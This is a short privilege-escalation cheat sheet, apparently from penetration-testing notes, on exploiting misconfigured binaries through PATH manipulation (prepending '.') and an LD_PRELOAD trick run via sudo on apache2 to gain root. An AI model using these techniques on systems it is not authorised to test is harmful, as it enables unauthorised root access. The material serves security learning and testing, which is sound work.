Exploiting Misconfigured Binaries

Command:

echo $PATH

Description: Check the current user's PATH variable contents.

Command:

PATH=.:${PATH}

Description: Add a . to the beginning of the current user's PATH.

Command:

ldd /bin/ls

Description: View the shared objects required by a binary.

Command:

sudo LD_PRELOAD=/tmp/root.so /usr/sbin/apache2 restart

Description: Escalate privileges using LD_PRELOAD.

Last updated